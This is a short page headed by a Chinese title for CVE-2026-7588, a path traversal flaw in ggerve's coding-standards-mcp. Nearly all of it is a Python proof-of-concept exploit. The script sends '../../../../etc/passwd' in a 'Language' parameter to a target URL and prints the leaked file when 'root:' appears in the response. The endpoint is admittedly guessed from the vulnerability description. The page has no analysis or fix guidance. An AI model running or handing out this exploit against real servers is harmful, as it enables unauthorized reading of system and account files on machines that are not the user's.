CVE-2026-7588 ggerve产品路径遍历漏洞

import requests def exploit_poc(target_url): """ PoC for CVE-2026-7588 Path Traversal in ggerve coding-standards-mcp """ # The vulnerable endpoint is assumed to be handling 'Language' parameter # based on the vulnerability description. payload = { "Language": "../../../../etc/passwd" } try: print(f"[+] Sending request to {target_url} with payload: {payload}") response = requests.get(target_url, params=payload, timeout=10) if response.status_code == 200: content = response.text if "root:" in content: print("[!] Vulnerability confirmed! /etc/passwd content leaked:") print(content[:200]) else: print("[+] Request sent, but classic signature not found. Check response manually.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://vulnerable-server:port/path" # Replace with actual target exploit_poc(target)